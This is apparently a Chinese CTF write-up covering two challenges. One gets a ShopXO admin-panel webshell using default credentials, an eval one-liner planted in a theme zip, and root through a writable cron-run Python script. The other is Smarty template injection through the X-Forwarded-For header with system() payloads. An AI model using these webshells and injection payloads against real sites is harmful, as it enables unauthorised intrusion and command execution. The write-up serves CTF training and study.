[GKCTF2020]老八小超市儿
知识点
- shopxo后台全版本获取shell
- 搜索能力
启动靶机:
一看就知道是个CMS,我们试着搜索一下ShopXO企业级免费开源商城系统的漏洞,可以知道一个后台的文件上传漏洞
知道了默认后台地址以及账号和密码:/admin.php | admin:shopxo
成功进入后台
左侧找到安装主题功能,然后到shopxo官网下载一个官方的主题模板,摸了一下主题模板的结构后发现可以把马插在压缩包的/主题名/_static_
getshell
1.在后台找到应用中心-应用商店-主题,然后下载默认主题。2.下载下来的主题是一个安装包,然后把你的shell(php马子)放到压缩包的
default\_static_
目录下,如下图
顺带说一下这种后台getshell最好用一句话
<?php @eval($_POST[ysneko]);?>
3.回到网页上,找到网站管理-主题管理-主题安装(然后选择你加入shell后的主题压缩包进行上传)
渗透测试|shopxo后台全版本获取shell复现
4.安装成功后,shell就可以用了,地址是:http://xxx.com/static/index/default(主题名)/try.php(上传的shell)
没有报404,上传成功,接下来用蚁剑连接
成功连接,然后兴高采烈的去找flag,结果找到一个错误的flag,提示我们这是一个假flag,真flag在/root
但是我们并没有root权限
我们可以看到当前是www-data用户,这是一个标准的低权限用户,并没有root权限
无奈只能想办法提权,但是转眼一看内核版本,好像不太行
这个版本基本不可能提权,所以只能到处找找线索,经过好一通翻找,在根目录发现了一个权限为0755的sh脚本,从文件名来看应该是某种自动脚本内容如下:
#!/bin/sh
while true; do (python /var/mail/makeflaghint.py &) && sleep 60; done
这段脚本的意思是每60秒执行一次中间的python脚本,我们再来看下中间调用的makeflaghint.py
import os
import io
import time
os.system("whoami")
gk1=str(time.ctime())
gk="\nGet The RooT,The Date Is Useful!"
f=io.open("/flag.hint", "rb+")
f.write(str(gk1))
f.write(str(gk))
f.close()
这段脚本的作用大致是调用某些参数生成/flag.hint文件,所以最终auto.sh的效果是每隔60秒调用makeflaghint.py生成一个flag.hint
随着两次刷新,flag.hint更新了,表明auto.sh确实是在后台以root权限执行,那么我们只需要修改makeflaghint.py的内容来获取/root中的flag即可
flag=io.open("/root/flag","r").read()
f.write(str(flag))
总体思路:
脸上蚁剑之后查看flag,会发现是假的,但从中可以知道真实flag在root目录下,访问root目录没有权限
查看根目录的flag.hint可以知道一个线索:
Sun May 24 07:51:26 2020 Get The RooT,The Date Is Useful!
然后查看根目录的auto.sh可以知道一个线索,每60秒会调用一个makeflaghint.py文件重新生成flag.hint,所以auto.sh调用makeflaghint.py是root权限,我们可以直接修改makeflaghint.py的内容执行cat /root/flag获取flag
[CISCN2019 华东南赛区]Web11
知识点:
- PHP的模板注入(Smarty模板) 参考链接:PHP的模板注入(Smarty模板)
考点:
- Smarty的XFF注入
- 全部的PHP条件表达式和函数都可在{if}中使用
启动:
题目中显示的API的URL由于环境的原因无法使用,但是我们的IP依旧显示在了页面的右上角。很容易猜测出这个IP的值受XFF头控制 。将XFF头改为{7*7}会发现该位置的值变为了49,便可以确定这里存在SSTI。
我们再添加请求头:X-Forwarded-For: 127.0.0.1,在Repeater中发送数据包,得到回显:
跟猜想的内容一致,再次确定此处存在注入
访问/index.php页面,能正常回显,判断其后端语言为PHP,而且其脚注中:
其为PHP模版引擎,基本语法:
{$name}变量
{$name[2]}数组
{* 注释 *}注释
{if}{/if}
获取配置变量:{$smarty.config}
返回当前目录名称:{$smarty.current_dir}
我们已经用语句测试模版语法能否执行
X-Forwarded-For: {7*7}
然后最主要的是嵌入php脚本
能否在模板中直接嵌入php脚本,取决于$php_handling的设置,基本语法:
{php}
include("/path/to/display_weather.php");
{/php}
但在测试时频频报错,后来查阅资料,全部的PHP条件表达式和函数都可在{if}中使用
首先查看phpinfo信息,使用BurpSuite抓取数据包,添加请求头信息:
X-Forwarded-For: {if phpinfo()}{/if}
发送数据包后,得到:
已经可以执行php函数,所以尝试用system()函数执行命令,构造payload:
{if system('ls')}{/if}
发送数据包,得到当前目录下文件内容:
查找flag所在位置:{if system('ls /')}{/if}
在/目录下找到flag,使用cat命令读取: